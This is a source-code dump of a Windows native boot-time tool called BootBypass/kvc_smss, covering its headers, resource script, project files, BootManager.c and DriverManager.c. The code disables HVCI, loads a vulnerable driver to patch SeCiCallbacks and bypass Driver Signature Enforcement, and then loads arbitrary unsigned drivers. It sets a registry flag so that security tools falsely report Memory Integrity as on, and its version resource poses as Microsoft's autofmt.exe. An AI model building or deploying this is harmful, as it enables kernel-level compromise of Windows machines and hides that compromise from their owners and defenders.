__declspec(dllimport) NTSTATUS NTAPI NtDeleteKey(HANDLE KeyHandle);
__declspec(dllimport) NTSTATUS NTAPI NtDeleteValueKey(HANDLE KeyHandle, PUNICODE_STRING ValueName);
__declspec(dllimport) NTSTATUS NTAPI NtSetInformationFile(HANDLE FileHandle, PIO_STATUS_BLOCK IoStatusBlock, PVOID FileInformation, ULONG Length, ULONG FileInformationClass);
__declspec(dllimport) NTSTATUS NTAPI NtDeviceIoControlFile(HANDLE FileHandle, HANDLE Event, PVOID ApcRoutine, PVOID ApcContext, PIO_STATUS_BLOCK IoStatusBlock, ULONG IoControlCode, PVOID InputBuffer, ULONG InputBufferLength, PVOID OutputBuffer, ULONG OutputBufferLength);
__declspec(dllimport) NTSTATUS NTAPI NtQuerySystemInformation(ULONG InfoClass, PVOID Buffer, ULONG Length, PULONG ReturnLength);
__declspec(dllimport) NTSTATUS NTAPI NtShutdownSystem(ULONG Action);
__declspec(dllimport) NTSTATUS NTAPI NtFlushBuffersFile(HANDLE FileHandle, PIO_STATUS_BLOCK IoStatusBlock);
// Used to decompress the kvc.sys payload embedded in the PE resource section.
__declspec(dllimport) NTSTATUS NTAPI RtlDecompressBuffer(USHORT CompressionFormat, PUCHAR UncompressedBuffer, ULONG UncompressedBufferSize, PUCHAR CompressedBuffer, ULONG CompressedBufferSize, PULONG FinalUncompressedSize);

// LZNT1 is the compression format used for the embedded driver resource.
#define COMPRESSION_FORMAT_LZNT1 0x0002

#define InitializeObjectAttributes(p, n, a, r, s) \
    (p)->Length = sizeof(OBJECT_ATTRIBUTES); \
    (p)->RootDirectory = r; \
    (p)->Attributes = a; \
    (p)->ObjectName = n; \
    (p)->SecurityDescriptor = s; \
    (p)->SecurityQualityOfService = NULL

#endif

<<<FILE: kvc_smss/BootBypass.rc>>>
Created:  2026-05-01 21:01:16
Modified: 2026-04-28 18:49:34
Size:     2.51 KB
#pragma code_page(65001)
// Microsoft Visual C++ generated resource script.
//
#include "resource.h"

#define APSTUDIO_READONLY_SYMBOLS
/////////////////////////////////////////////////////////////////////////////
//
// Generated from the TEXTINCLUDE 2 resource.
//
#include "winres.h"

/////////////////////////////////////////////////////////////////////////////
#undef APSTUDIO_READONLY_SYMBOLS

/////////////////////////////////////////////////////////////////////////////
// English (United States) resources

#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU)
LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US

#ifdef APSTUDIO_INVOKED
/////////////////////////////////////////////////////////////////////////////
//
// TEXTINCLUDE
//

1 TEXTINCLUDE 
BEGIN
    "resource.h\0"
END

2 TEXTINCLUDE 
BEGIN
    "#include ""winres.h""\r\n"
    "\0"
END

3 TEXTINCLUDE 
BEGIN
    "\r\n"
    "\0"
END

#endif    // APSTUDIO_INVOKED


/////////////////////////////////////////////////////////////////////////////
//
// Version
//

VS_VERSION_INFO VERSIONINFO
 FILEVERSION 10,0,28000,8460
 PRODUCTVERSION 10,0,28000,8460
 FILEFLAGSMASK 0x3fL
#ifdef _DEBUG
 FILEFLAGS 0x1L
#else
 FILEFLAGS 0x0L
#endif
 FILEOS 0x40004L
 FILETYPE 0x1L          // VFT_APP - Application file type
 FILESUBTYPE 0x0L
BEGIN
    BLOCK "StringFileInfo"
    BEGIN
        BLOCK "040904b0"
        BEGIN
            VALUE "CompanyName", "Microsoft Corporation"
            VALUE "FileDescription", "Windows System Utility"
            VALUE "FileVersion", "10.0.28000.8460"
            VALUE "InternalName", "autofmt.exe"
            VALUE "LegalCopyright", "© Microsoft Corporation. All rights reserved."
            VALUE "OriginalFilename", "autofmt.exe"
            VALUE "ProductName", "Microsoft® Windows® Operating System"
            VALUE "ProductVersion", "10.0.28000.8460"
        END
    END
    BLOCK "VarFileInfo"
    BEGIN
        VALUE "Translation", 0x409, 1200
    END
END

#endif    // English (United States) resources
/////////////////////////////////////////////////////////////////////////////



#ifndef APSTUDIO_INVOKED
/////////////////////////////////////////////////////////////////////////////
//
// Generated from the TEXTINCLUDE 3 resource.
//

IDR_DRV1                RCDATA                  "IDR_DRV1"
IDR_DRV2                RCDATA                  "IDR_DRV2"
/////////////////////////////////////////////////////////////////////////////
#endif    // not APSTUDIO_INVOKED

<<<FILE: kvc_smss/BootBypass.vcxproj>>>
Created:  2026-05-01 21:01:16
Modified: 2026-05-01 21:04:15
Size:     4.34 KB
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <ItemGroup Label="ProjectConfigurations">
    <ProjectConfiguration Include="Release|x64">
      <Configuration>Release</Configuration>
      <Platform>x64</Platform>
    </ProjectConfiguration>
  </ItemGroup>
  <PropertyGroup Label="Globals">
    <VCProjectVersion>18.0</VCProjectVersion>
    <Keyword>Win32Proj</Keyword>
    <ProjectGuid>{2babc54c-fd14-4745-92c7-6785c12014e6}</ProjectGuid>
    <RootNamespace>BootBypass</RootNamespace>
    <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
  </PropertyGroup>
  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
    <ConfigurationType>Application</ConfigurationType>
    <UseDebugLibraries>false</UseDebugLibraries>
    <PlatformToolset>v145</PlatformToolset>
    <WholeProgramOptimization>false</WholeProgramOptimization>
    <CharacterSet>Unicode</CharacterSet>
  </PropertyGroup>
  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
  <ImportGroup Label="ExtensionSettings">
    <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
  </ImportGroup>
  <ImportGroup Label="Shared">
  </ImportGroup>
  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
  </ImportGroup>
  <PropertyGroup Label="UserMacros" />
  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
    <OutDir>$(ProjectDir)..\bin\</OutDir>
    <IntDir>$(ProjectDir)obj\$(Configuration)\$(Platform)\</IntDir>
    <TargetName>kvc_smss</TargetName>
  </PropertyGroup>
  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
    <ClCompile>
      <WarningLevel>Level3</WarningLevel>
      <FunctionLevelLinking>true</FunctionLevelLinking>
      <IntrinsicFunctions>false</IntrinsicFunctions>
      <SDLCheck>false</SDLCheck>
      <PreprocessorDefinitions>NDEBUG;_AMD64_;%(PreprocessorDefinitions)</PreprocessorDefinitions>
      <ConformanceMode>false</ConformanceMode>
      <BufferSecurityCheck>false</BufferSecurityCheck>
      <CompileAs>CompileAsC</CompileAs>
      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
      <ExceptionHandling>false</ExceptionHandling>
      <BasicRuntimeChecks>Default</BasicRuntimeChecks>
      <SmallerTypeCheck>false</SmallerTypeCheck>
      <Optimization>MinSpace</Optimization>
    </ClCompile>
    <Link>
      <SubSystem>Native</SubSystem>
      <GenerateDebugInformation>false</GenerateDebugInformation>
      <EntryPointSymbol>NtProcessStartup</EntryPointSymbol>
      <AdditionalDependencies>ntdll.lib</AdditionalDependencies>
      <IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
      <OptimizeReferences>true</OptimizeReferences>
      <EnableCOMDATFolding>true</EnableCOMDATFolding>
      <GenerateManifest>false</GenerateManifest>
      <LinkTimeCodeGeneration>Default</LinkTimeCodeGeneration>
    </Link>
  </ItemDefinitionGroup>
  <ItemGroup>
    <ClCompile Include="BootManager.c" />
	<ClCompile Include="DriverManager.c" />
    <ClCompile Include="FileManager.c" />
    <ClCompile Include="OffsetFinder.c" />
    <ClCompile Include="SecurityPatcher.c" />
    <ClCompile Include="SetupManager.c" />
	<ClCompile Include="SystemUtils.c" />
  </ItemGroup>
  <ItemGroup>
    <ClInclude Include="BootBypass.h" />
    <ClInclude Include="BootManager.h" />
    <ClInclude Include="DriverManager.h" />
    <ClInclude Include="OffsetFinder.h" />
    <ClInclude Include="FileManager.h" />
    <ClInclude Include="resource.h" />
    <ClInclude Include="SecurityPatcher.h" />
	<ClInclude Include="SetupManager.h" />
    <ClInclude Include="SystemUtils.h" />
  </ItemGroup>
  <ItemGroup>
    <MASM Include="MmPoolTelemetry.asm" />
  </ItemGroup>
  <ItemGroup>
    <ResourceCompile Include="BootBypass.rc" />
  </ItemGroup>
  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
  <ImportGroup Label="ExtensionTargets">
    <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
  </ImportGroup>
</Project>

<<<FILE: kvc_smss/BootBypass.vcxproj.filters>>>
Created:  2026-05-01 21:01:16
Modified: 2025-11-25 09:27:34
Size:     2.46 KB
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <ItemGroup>
    <Filter Include="Source Files">
      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
      <Extensions>c;cc;cxx;c++;cm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
    </Filter>
    <Filter Include="Header Files">
      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
      <Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
    </Filter>
    <Filter Include="Resource Files">
      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
    </Filter>
  </ItemGroup>
  <ItemGroup>
    <ClCompile Include="BootManager.c">
      <Filter>Source Files</Filter>
    </ClCompile>
    <ClCompile Include="SystemUtils.c">
      <Filter>Source Files</Filter>
    </ClCompile>
    <ClCompile Include="DriverManager.c">
      <Filter>Source Files</Filter>
    </ClCompile>
    <ClCompile Include="SecurityPatcher.c">
      <Filter>Source Files</Filter>
    </ClCompile>
    <ClCompile Include="SetupManager.c">
      <Filter>Source Files</Filter>
    </ClCompile>	
    <ClCompile Include="FileManager.c">
      <Filter>Source Files</Filter>
    </ClCompile>
  </ItemGroup>
  <ItemGroup>
    <ClInclude Include="BootBypass.h">
      <Filter>Header Files</Filter>
    </ClInclude>
    <ClInclude Include="resource.h">
      <Filter>Header Files</Filter>
    </ClInclude>
    <ClInclude Include="SystemUtils.h">
      <Filter>Header Files</Filter>
    </ClInclude>
    <ClInclude Include="DriverManager.h">
      <Filter>Header Files</Filter>
    </ClInclude>
    <ClInclude Include="SecurityPatcher.h">
      <Filter>Header Files</Filter>
    </ClInclude>
	<ClInclude Include="SetupManager.h">
      <Filter>Header Files</Filter>
    </ClInclude>
    <ClInclude Include="FileManager.h">
      <Filter>Header Files</Filter>
    </ClInclude>
    <ClInclude Include="BootManager.h">
      <Filter>Header Files</Filter>
    </ClInclude>
  </ItemGroup>
  <ItemGroup>
    <MASM Include="MmPoolTelemetry.asm">
      <Filter>Source Files</Filter>
    </MASM>
  </ItemGroup>
  <ItemGroup>
    <ResourceCompile Include="BootBypass.rc">
      <Filter>Resource Files</Filter>
    </ResourceCompile>
  </ItemGroup>
</Project>

<<<FILE: kvc_smss/BootManager.c>>>
Created:  2026-05-04 01:29:14
Modified: 2026-05-04 01:29:14
Size:     8.4 KB
// ============================================================================
// BootManager — NATIVE entry point and main execution loop (BB variant)
//
// NtProcessStartup is invoked directly by the NT kernel during SMSS phase.
// Responsibilities:
//   1. Elevate process privileges (SeLoadDriver, SeBackup, SeRestore, SeShutdown)
//   2. Load and parse drivers.ini from \SystemRoot\
//   3. Resolve kernel offsets (INI → scanner fallback; no explicit OffsetSource)
//   4. Disable HVCI if active (patches SYSTEM hive, then reboots)
//   5. Execute driver actions: LOAD (with or without DSE bypass), UNLOAD,
//      RENAME, DELETE
//   6. Optionally restore HVCI hive entry and set cosmetic registry flag
//
// g_OriginalCallback holds the DSE callback address saved before patching.
// It survives across reboots via [DSE_STATE] in drivers.ini.
// ============================================================================

#include "BootManager.h"
#include "SetupManager.h"
#include "OffsetFinder.h"

// Saved SeCiCallbacks slot value before DSE patching.
// Populated by ExecuteAutoPatchLoad; persisted to drivers.ini across reboots.
static ULONGLONG g_OriginalCallback = 0;

// Main entry point for the NATIVE subsystem process.
// Peb: pointer to the process PEB (unused; SMSS passes a minimal structure).
__declspec(noreturn) void __stdcall NtProcessStartup(void* Peb) {
    INI_ENTRY entries[MAX_ENTRIES];
    CONFIG_SETTINGS config;
    ULONG entryCount, i;
    PWSTR iniContent = NULL;
    NTSTATUS status;
    BOOLEAN bOld;
    BOOLEAN skipPatch;

    // Enable required privileges for driver/file operations
    RtlAdjustPrivilege(SE_LOAD_DRIVER_PRIVILEGE, TRUE, FALSE, &bOld);
    RtlAdjustPrivilege(SE_BACKUP_PRIVILEGE, TRUE, FALSE, &bOld);
    RtlAdjustPrivilege(SE_RESTORE_PRIVILEGE, TRUE, FALSE, &bOld);
    RtlAdjustPrivilege(SE_SHUTDOWN_PRIVILEGE, TRUE, FALSE, &bOld);

    // Load configuration file
    if (!ReadIniFile(L"\\??\\C:\\Windows\\drivers.ini", &iniContent)) {
        DisplayMessage(L"ERROR: drivers.ini not found\r\n");
        NtTerminateProcess((HANDLE)-1, STATUS_SUCCESS);
    }

    // Parse INI entries and global config
    entryCount = ParseIniFile(iniContent, entries, MAX_ENTRIES, &config);
    FreeIniFileBuffer(iniContent);
    iniContent = NULL;

    // Apply verbose mode from config (must be set before any further DisplayMessage calls)
    g_VerboseMode = config.Verbose;
    DisplayMessage(L"BootBypass - Modular Driver Loader\r\n====================================\r\n");

    if (g_VerboseMode) {
        WCHAR hexBuf[32];
        DisplayMessage(L"INFO: Offsets from INI:\r\n");
        ULONGLONGToHexString(config.Offset_SeCiCallbacks, hexBuf, TRUE);
        DisplayMessage(L"  SeCiCallbacks = "); DisplayMessage(hexBuf); DisplayMessage(L"\r\n");
        ULONGLONGToHexString(config.Offset_Callback, hexBuf, TRUE);
        DisplayMessage(L"  Callback     = "); DisplayMessage(hexBuf); DisplayMessage(L"\r\n");
        ULONGLONGToHexString(config.Offset_SafeFunction, hexBuf, TRUE);
        DisplayMessage(L"  SafeFunction = "); DisplayMessage(hexBuf); DisplayMessage(L"\r\n");
    }

    // Run the heuristic scanner only when INI offsets are absent (AUTO mode).
    // The scanner reads ntoskrnl.exe from disk and may take ~50 ms on a cold SSD.
    if (config.Offset_SeCiCallbacks == 0 || config.Offset_SafeFunction == 0) {
        FindKernelOffsetsLocally(&config);
        if (g_VerboseMode) {
            WCHAR hexBuf[32];
            DisplayMessage(L"INFO: Offsets after local scan:\r\n");
            ULONGLONGToHexString(config.Offset_SeCiCallbacks, hexBuf, TRUE);
            DisplayMessage(L"  SeCiCallbacks = "); DisplayMessage(hexBuf); DisplayMessage(L"\r\n");
            ULONGLONGToHexString(config.Offset_Callback, hexBuf, TRUE);
            DisplayMessage(L"  Callback     = "); DisplayMessage(hexBuf); DisplayMessage(L"\r\n");
            ULONGLONGToHexString(config.Offset_SafeFunction, hexBuf, TRUE);
            DisplayMessage(L"  SafeFunction = "); DisplayMessage(hexBuf); DisplayMessage(L"\r\n");
        }
    }

    // Check if execution is enabled in config
    if (!config.Execute) {
        DisplayMessage(L"EXECUTION DISABLED in Config. Exiting.\r\n");
        NtTerminateProcess((HANDLE)-1, STATUS_SUCCESS);
    }

    // Validate parsed entries
    if (entryCount == 0) {
        DisplayMessage(L"ERROR: No INI entries\r\n");
        NtTerminateProcess((HANDLE)-1, STATUS_SUCCESS);
    }

    // Check HVCI status and disable if needed (triggers reboot if active)
    skipPatch = CheckAndDisableHVCI();

    if (skipPatch) {
        if (g_VerboseMode) {
            DisplayMessage(L"INFO: Restart required before continuing driver operations\r\n");
        } else {
            DisplayAlwaysMessage(L"Restart required\r\n");
        }
        NtTerminateProcess((HANDLE)-1, STATUS_SUCCESS);
    }

    // Deploy or clean up HvciShutdownSvc depending on RestoreHVCI setting.
    // Must run after HVCI check so that System32 is writable and the SYSTEM
    // hive is in its final state for this boot cycle.
    if (config.RestoreHVCI) {
        ExtractHvciShutdownSvcAndRegisterService();
    } else {
        CleanupHvciShutdownSvc();
    }

    // Restore saved DSE callback address from previous run (if exists)
    if (g_OriginalCallback == 0) LoadStateSection(&g_OriginalCallback);

    // Process all INI entries sequentially
    for (i = 0; i < entryCount; i++) {
        // Skip empty entries
        if (entries[i].ServiceName[0] == 0 && entries[i].DisplayName[0] == 0) continue;
        
        DisplayMessage(L"\r\n["); DisplayMessage(entries[i].DisplayName); DisplayMessage(L"]\r\n");

        // Skip autopatch operations if waiting for HVCI reboot
        if (skipPatch && entries[i].AutoPatch) {
            DisplayMessage(L"SKIPPED: Waiting for HVCI reboot\r\n");
            continue;
        }

        switch (entries[i].Action) {
            case ACTION_LOAD:
                if (entries[i].AutoPatch) {
                    // Full DSE bypass sequence: load vuln driver -> patch -> load target -> restore
                    ExecuteAutoPatchLoad(&entries[i], &config, &g_OriginalCallback);
                } else {
                    // Standard driver load without DSE patching
                    if (entries[i].CheckIfLoaded && IsDriverLoaded(entries[i].ServiceName)) {
                        DisplayMessage(L"SKIPPED: Already loaded\r\n");
                    } else {
                        status = LoadDriver(entries[i].ServiceName, entries[i].ImagePath, entries[i].DriverType, entries[i].StartType);
                        if (NT_SUCCESS(status) || status == STATUS_IMAGE_ALREADY_LOADED) DisplayMessage(L"SUCCESS: Driver loaded\r\n");
                        else { DisplayMessage(L"FAILED: Load error"); DisplayStatus(status); }
                    }
                }
                break;

            case ACTION_UNLOAD:
                // Unload kernel driver
                if (!IsDriverLoaded(entries[i].ServiceName)) DisplayMessage(L"SKIPPED: Not loaded\r\n");
                else {
                    status = UnloadDriver(entries[i].ServiceName);
                    if (NT_SUCCESS(status)) DisplayMessage(L"SUCCESS: Unloaded\r\n");
                    else { DisplayMessage(L"FAILED: Unload error"); DisplayStatus(status); }
                }
                break;

            case ACTION_RENAME:
                // Rename file or directory
                ExecuteRename(&entries[i]);
                break;

            case ACTION_DELETE:
                // Delete file or directory (recursive if configured)
                ExecuteDelete(&entries[i]);
                break;
        }
    }

    DisplayMessage(L"\r\n====================================\r\n");

    // Restore HVCI in the SYSTEM hive so that the next boot re-enables Memory
    // Integrity.  Only done when RestoreHVCI=YES and no HVCI reboot is pending.
    if (!skipPatch && config.RestoreHVCI) RestoreHVCI();

    // Mirror the live value back into the volatile DeviceGuard registry key so
    // that Security Center and system tools report HVCI as enabled.
    // Skipped when RestoreHVCI=NO — caller expects the Enabled=0 value to stay.
    if (!skipPatch && config.RestoreHVCI) {
        DisplayMessage(L"INFO: Setting cosmetic HVCI registry flag...\r\n");
        if (NT_SUCCESS(SetHVCIRegistryFlag(TRUE))) {
            DisplayMessage(L"SUCCESS: HVCI appears enabled (registry only)\r\n");
        }
    }
    
    NtTerminateProcess((HANDLE)-1, STATUS_SUCCESS);
    __assume(0);
}

<<<FILE: kvc_smss/BootManager.h>>>
Created:  2026-05-01 21:01:16
Modified: 2025-12-22 01:20:50
Size:     0.21 KB
#ifndef BOOT_MANAGER_H
#define BOOT_MANAGER_H

#include "BootBypass.h"
#include "SystemUtils.h"
#include "DriverManager.h"
#include "SecurityPatcher.h"
#include "FileManager.h"
#include "SetupManager.h"

#endif

<<<FILE: kvc_smss/DriverManager.c>>>
Created:  2026-05-01 21:01:16
Modified: 2026-04-10 21:55:37
Size:     10.87 KB
// ============================================================================
// DriverManager — SCM-free kernel driver load/unload via NtLoadDriver
//
// Windows driver loading normally goes through the SCM (Services.exe), which
// is not available at SMSS phase.  This module bypasses SCM by writing the
// required registry key under HKLM\SYSTEM\CurrentControlSet\Services directly,
// then calling NtLoadDriver with the registry path.
//
// IsDriverLoaded checks the kernel module list (NtQuerySystemInformation
// SystemModuleInformation) rather than the registry, which reflects actual
// loaded state regardless of service registration.
// ============================================================================

#include "DriverManager.h"

// Case-insensitive comparison between a narrow ASCII string (as returned by
// SYSTEM_MODULE_ENTRY.ImageName) and a wide string (service image basename).
// Only ASCII printable characters are expected; comparison is exact-length.
static BOOLEAN AsciiWideEqualsIgnoreCase(const char* ascii, PCWSTR wide) {
    ULONG index = 0;

    if (!ascii || !wide) {
        return FALSE;
    }

    while (ascii[index] != 0 && wide[index] != 0) {
        char a = ascii[index];
        WCHAR b = wide[index];

        if (a >= 'a' && a <= 'z') a -= 32;
        if (b >= L'a' && b <= L'z') b -= 32;
        if ((WCHAR)(UCHAR)a != b) {
            return FALSE;
        }
        index++;
    }

    return ascii[index] == 0 && wide[index] == 0;
}

// Returns a pointer into path pointing at the last path component
// (the part after the last backslash or forward slash).
static PCWSTR FindWideBaseName(PCWSTR path, SIZE_T charCount) {
    SIZE_T i;
    PCWSTR base = path;

    for (i = 0; i < charCount; i++) {
        if (path[i] == L'\\' || path[i] == L'/') {
            base = path + i + 1;
        }
    }

    return base;
}

static BOOLEAN WideStringContainsChar(PCWSTR text, WCHAR ch) {
    if (!text) {
        return FALSE;
    }

    while (*text) {
        if (*text == ch) {
            return TRUE;
        }
        text++;
    }

    return FALSE;
}

// Resolves the image filename (basename only, e.g. "mydrv.sys") for a given
// service name.  Lookup order:
//   1. Read ImagePath from HKLM\...\Services\<serviceName>; extract basename.
//   2. Fall back to serviceName + ".sys" if the key is absent or has no path.
static BOOLEAN BuildDriverImageName(PCWSTR serviceName, PWSTR imageName, SIZE_T imageNameCount) {
    WCHAR fullServicePath[MAX_PATH_LEN];
    UNICODE_STRING usServiceName;
    UNICODE_STRING usValueName;
    OBJECT_ATTRIBUTES oa;
    HANDLE hKey = NULL;
    NTSTATUS status;
    ULONG resultLength = 0;
    KEY_VALUE_PARTIAL_INFORMATION* valueInfo = NULL;
    BOOLEAN found = FALSE;

    if (!serviceName || !imageName || imageNameCount == 0) {
        return FALSE;
    }

    imageName[0] = 0;

    if (wcscpy_safe(fullServicePath, MAX_PATH_LEN,
                    L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\") >= MAX_PATH_LEN - 1) {
        return FALSE;
    }
    if (wcscat_safe(fullServicePath, MAX_PATH_LEN, serviceName) >= MAX_PATH_LEN) {
        return FALSE;
    }

    RtlInitUnicodeString(&usServiceName, fullServicePath);
    InitializeObjectAttributes(&oa, &usServiceName, OBJ_CASE_INSENSITIVE, NULL, NULL);

    status = NtOpenKey(&hKey, KEY_READ, &oa);
    if (NT_SUCCESS(status)) {
        RtlInitUnicodeString(&usValueName, L"ImagePath");
        status = NtQueryValueKey(hKey, &usValueName, KeyValuePartialInformation, NULL, 0, &resultLength);
        if ((status == STATUS_BUFFER_TOO_SMALL || status == (NTSTATUS)0xC0000004) &&
            resultLength >= sizeof(KEY_VALUE_PARTIAL_INFORMATION)) {
            if (AllocateZeroedBuffer(resultLength, (PVOID*)&valueInfo)) {
                status = NtQueryValueKey(hKey, &usValueName, KeyValuePartialInformation, valueInfo, resultLength, &resultLength);
                if (NT_SUCCESS(status) &&
                    (valueInfo->Type == REG_SZ || valueInfo->Type == REG_EXPAND_SZ) &&
                    valueInfo->DataLength >= sizeof(WCHAR)) {
                    PWSTR valueText = (PWSTR)valueInfo->Data;
                    SIZE_T valueChars = valueInfo->DataLength / sizeof(WCHAR);
                    while (valueChars > 0 && valueText[valueChars - 1] == 0) {
                        valueChars--;
                    }

                    if (valueChars > 0) {
                        PCWSTR baseName = FindWideBaseName(valueText, valueChars);
                        UNICODE_STRING baseNameString;
                        baseNameString.Buffer = (PWSTR)baseName;
                        baseNameString.Length = (USHORT)(valueChars - (SIZE_T)(baseName - valueText)) * sizeof(WCHAR);
                        baseNameString.MaximumLength = baseNameString.Length;
                        if (UnicodeStringCopySafe(imageName, imageNameCount, &baseNameString) < imageNameCount) {
                            found = TRUE;
                        }
                    }
                }
                FreeAllocatedBuffer(valueInfo);
            }
        }
        NtClose(hKey);
    }

    if (!found) {
        SIZE_T serviceLen = wcscpy_safe(imageName, imageNameCount, serviceName);
        if (serviceLen >= imageNameCount) {
            return FALSE;
        }
        if (!WideStringContainsChar(imageName, L'.')) {
            if (wcscat_safe(imageName, imageNameCount, L".sys") >= imageNameCount) {
                return FALSE;
            }
        }
    }

    return TRUE;
}

// Returns TRUE if the driver associated with serviceName is present in the
// running kernel module list.
BOOLEAN IsDriverLoaded(PCWSTR serviceName) {
    WCHAR imageName[MAX_PATH_LEN];
    SYSTEM_MODULE_INFORMATION* moduleInfo = NULL;
    BOOLEAN isLoaded = FALSE;

    if (!BuildDriverImageName(serviceName, imageName, MAX_PATH_LEN)) {
        return FALSE;
    }

    if (!QuerySystemModuleInformation(&moduleInfo)) {
        return FALSE;
    }

    for (ULONG i = 0; i < moduleInfo->Count; i++) {
        const char* moduleName = moduleInfo->Modules[i].ImageName + moduleInfo->Modules[i].ModuleNameOffset;
        if (AsciiWideEqualsIgnoreCase(moduleName, imageName)) {
            isLoaded = TRUE;
            break;
        }
    }

    FreeAllocatedBuffer(moduleInfo);
    return isLoaded;
}

// Creates (or opens) the SCM registry key for serviceName and writes the
// minimum values NtLoadDriver requires: ImagePath, DisplayName, Type, Start,
// ErrorControl.  STATUS_OBJECT_NAME_COLLISION is non-fatal (key already exists).
// driverType: "KERNEL"→Type=1, "FILE_SYSTEM"→Type=2.
// startType:  "BOOT"=0, "SYSTEM"=1, "AUTO"=2, "DISABLED"=4, else DEMAND=3.
NTSTATUS CreateDriverRegistryEntry(PCWSTR serviceName, PCWSTR imagePath, PCWSTR driverType, PCWSTR startType) {
    WCHAR fullServicePath[MAX_PATH_LEN];
    UNICODE_STRING usServiceName, usValueName;
    OBJECT_ATTRIBUTES oa;
    HANDLE hKey = NULL;
    NTSTATUS status;
    ULONG disposition;
    DWORD dwValue;
    WCHAR tempBuffer[MAX_PATH_LEN];
    ULONG dataSize;

    // Safe path construction
    SIZE_T baseLen = wcscpy_safe(fullServicePath, MAX_PATH_LEN, 
                                  L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
    if (baseLen >= MAX_PATH_LEN - 1) return STATUS_OBJECT_NAME_INVALID;
    
    SIZE_T finalLen = wcscat_safe(fullServicePath, MAX_PATH_LEN, serviceName);
    if (finalLen >= MAX_PATH_LEN) return STATUS_OBJECT_NAME_INVALID;
    
    RtlInitUnicodeString(&usServiceName, fullServicePath);
    InitializeObjectAttributes(&oa, &usServiceName, OBJ_CASE_INSENSITIVE, NULL, NULL);

    status = NtCreateKey(&hKey, KEY_ALL_ACCESS, &oa, 0, NULL, REG_OPTION_NON_VOLATILE, &disposition);
    if (!NT_SUCCESS(status)) return status;

    // ImagePath value
    RtlInitUnicodeString(&usValueName, L"ImagePath");
    SIZE_T pathLen = wcscpy_safe(tempBuffer, MAX_PATH_LEN, imagePath);
    if (pathLen >= MAX_PATH_LEN) {
        NtClose(hKey);
        return STATUS_OBJECT_NAME_INVALID;
    }
    dataSize = (ULONG)((pathLen + 1) * sizeof(WCHAR));
    status = NtSetValueKey(hKey, &usValueName, 0, REG_EXPAND_SZ, tempBuffer, dataSize);

    // DisplayName value
    RtlInitUnicodeString(&usValueName, L"DisplayName");
    SIZE_T nameLen = wcslen(serviceName);
    if (nameLen >= MAX_PATH_LEN) {
        NtClose(hKey);
        return STATUS_OBJECT_NAME_INVALID;
    }
    dataSize = (ULONG)((nameLen + 1) * sizeof(WCHAR));
    NtSetValueKey(hKey, &usValueName, 0, REG_SZ, (PVOID)serviceName, dataSize);

    // Type value
    dwValue = (_wcsicmp_impl(driverType, L"FILE_SYSTEM") == 0) ? 2 : 1;
    RtlInitUnicodeString(&usValueName, L"Type");
    NtSetValueKey(hKey, &usValueName, 0, REG_DWORD, &dwValue, sizeof(DWORD));

    // Start value
    if (_wcsicmp_impl(startType, L"BOOT") == 0) dwValue = 0;
    else if (_wcsicmp_impl(startType, L"SYSTEM") == 0) dwValue = 1;
    else if (_wcsicmp_impl(startType, L"AUTO") == 0) dwValue = 2;
    else if (_wcsicmp_impl(startType, L"DISABLED") == 0) dwValue = 4;
    else dwValue = 3;

    RtlInitUnicodeString(&usValueName, L"Start");
    NtSetValueKey(hKey, &usValueName, 0, REG_DWORD, &dwValue, sizeof(DWORD));

    // ErrorControl value
    dwValue = 1;
    RtlInitUnicodeString(&usValueName, L"ErrorControl");
    NtSetValueKey(hKey, &usValueName, 0, REG_DWORD, &dwValue, sizeof(DWORD));

    NtClose(hKey);
    return status;
}

// Creates the registry key then calls NtLoadDriver.
NTSTATUS LoadDriver(PCWSTR serviceName, PCWSTR imagePath, PCWSTR driverType, PCWSTR startType) {
    WCHAR fullServicePath[MAX_PATH_LEN];
    UNICODE_STRING usServiceName;
    NTSTATUS status;

    status = CreateDriverRegistryEntry(serviceName, imagePath, driverType, startType);
    if (!NT_SUCCESS(status) && status != STATUS_OBJECT_NAME_COLLISION) return status;

    // Safe path construction
    SIZE_T baseLen = wcscpy_safe(fullServicePath, MAX_PATH_LEN, 
                                  L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
    if (baseLen >= MAX_PATH_LEN - 1) return STATUS_OBJECT_NAME_INVALID;
    
    SIZE_T finalLen = wcscat_safe(fullServicePath, MAX_PATH_LEN, serviceName);
    if (finalLen >= MAX_PATH_LEN) return STATUS_OBJECT_NAME_INVALID;
    
    RtlInitUnicodeString(&usServiceName, fullServicePath);
    return NtLoadDriver(&usServiceName);
}

// Calls NtUnloadDriver.  Registry key and driver file are NOT removed here.
